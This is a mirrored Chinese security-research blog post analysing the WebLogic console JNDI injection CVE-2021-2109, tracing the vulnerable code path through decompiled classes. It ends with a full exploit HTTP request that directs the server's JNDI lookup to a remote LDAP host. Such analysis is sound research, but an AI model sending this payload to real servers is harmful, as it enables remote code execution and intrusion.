6

WebLogic CVE-2021-2109 JNDI RCE

 3 years ago
source link: https://y4er.com/post/weblogic-cve-2021-2109-jndi-rce/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

WebLogic CVE-2021-2109 JNDI RCE

Share on:

console的JNDI注入,需要登录。

  1. weblogic 14.1.1
  2. jdk8u112
  3. JNDI-Injection-Exploit

image.png

image.png

image.png

image.png

consolejndi.portal中存在JNDIBindingPageGeneral jndi绑定的东西

image.png

image.png

具体的处理逻辑在/PortalConfig/jndi/jndibinding.portlet

image.png

image.png

com.bea.console.actions.jndi.JNDIBindingAction#execute中就是处理逻辑

image.png

image.png

直接lookup了,就是要先过serverMBean != null的条件。

MBeanUtils.getAnyServerMBean(serverName)

image.png

image.png

有一个lookupServer(),使用的是动态代理调用的,跟进到weblogic.management.jmx.MBeanServerInvocationHandler#invoke

其中method值为

image.png

image.png

lookupServer就在这个类中weblogic.management.configuration.DomainMBeanImpl#lookupServer

image.png

image.png

用动态调试把存在的serverBean弄出来,让传入的serverName等于他满足dowhile条件就能使返回的serverBean不为空了,即AdminServer

image.png

image.png

现在serverBean不为空了,就要看jndi lookup的地址是否可控。

lookup的值有以下逻辑

JndiBindingHandle bindingHandle = (JndiBindingHandle)this.getHandleContext(actionForm, request, "JNDIBinding");
String context = bindingHandle.getContext();
String bindName = bindingHandle.getBinding();
String serverName = bindingHandle.getServer();
String prefix = context;
String suffix = bindName;
if (prefix.length() > 0 && suffix.length() > 0) {
prefix = prefix + ".";
}
Object boundObj = c.lookup(prefix + suffix)

image.png

image.png

前缀和后缀以及serverName都是从bindingHandle获取的,即JndiBindingHandle类,跟进bindingHandle.getContext()看下。

image.png

image.png

调用自身getComponent方法

    protected String getComponent(int index) {
        return this.getComponents()[index];
    }
private String[] getComponents() {
    if (this.components == null) {
        String serialized = this.getObjectIdentifier();
        ArrayList componentList = new ArrayList();
        StringBuffer currentComponent = new StringBuffer();
        boolean lastWasSpecial = false;

        for(int i = 0; i < serialized.length(); ++i) {
            char c = serialized.charAt(i);
            if (lastWasSpecial) {
                if (c == '0') {
                    if (currentComponent == null) {
                        throw new AssertionError("Handle component already null : '" + serialized + '"');
                    }

                    if (currentComponent.length() > 0) {
                        throw new AssertionError("Null handle component preceeded by a character : '" + serialized + "'");
                    }

                    currentComponent = null;
                } else if (c == '\\') {
                    if (currentComponent == null) {
                        throw new AssertionError("Null handle followed by \\ : '" + serialized + "'");
                    }

                    currentComponent.append('\\');
                } else {
                    if (c != ';') {
                        throw new AssertionError("\\ in handle followed by a character :'" + serialized + "'");
                    }

                    if (currentComponent == null) {
                        throw new AssertionError("Null handle followed by ; : '" + serialized + "'");
                    }

                    currentComponent.append(';');
                }

                lastWasSpecial = false;
            } else if (c == '\\') {
                if (currentComponent == null) {
                    throw new AssertionError("Null handle followed by \\ : '" + serialized + "'");
                }

                lastWasSpecial = true;
            } else if (c == ';') {
                String component = currentComponent != null ? currentComponent.toString() : null;
                componentList.add(component);
                currentComponent = new StringBuffer();
            } else {
                if (currentComponent == null) {
                    throw new AssertionError("Null handle followed by  a character : '" + serialized + "'");
                }

                currentComponent.append(c);
            }
        }

        if (lastWasSpecial) {
            throw new AssertionError("Last character in handle is \\ :'" + serialized + "'");
        }

        String component = currentComponent != null ? currentComponent.toString() : null;
        componentList.add(component);
        this.components = (String[])((String[])componentList.toArray(new String[componentList.size()]));
    }

    return this.components;
}

整体逻辑就是用;号分割,相当于全部可控,造成jndi注入。

最后捋一下整体条件

  1. ;号隔开jndi地址
  2. serverName必须为AdminServer
GET /console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://172.16.0;1:1389/aew0xy;AdminServer%22) HTTP/1.1
Host: 172.16.1.134:7001
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.16.1.134:7001/console/login/LoginForm.jsp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: ADMINCONSOLESESSION=8Xk3Y9pCjDLlUARpWoE3rhia67n0LKY5xuTzTHfWxz1ITlNDOob1!1254895310
Connection: close


image.png

image.png

image.png

image.png

  1. https://mp.weixin.qq.com/s/wX9TMXl1KVWwB_k6EZOklw

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK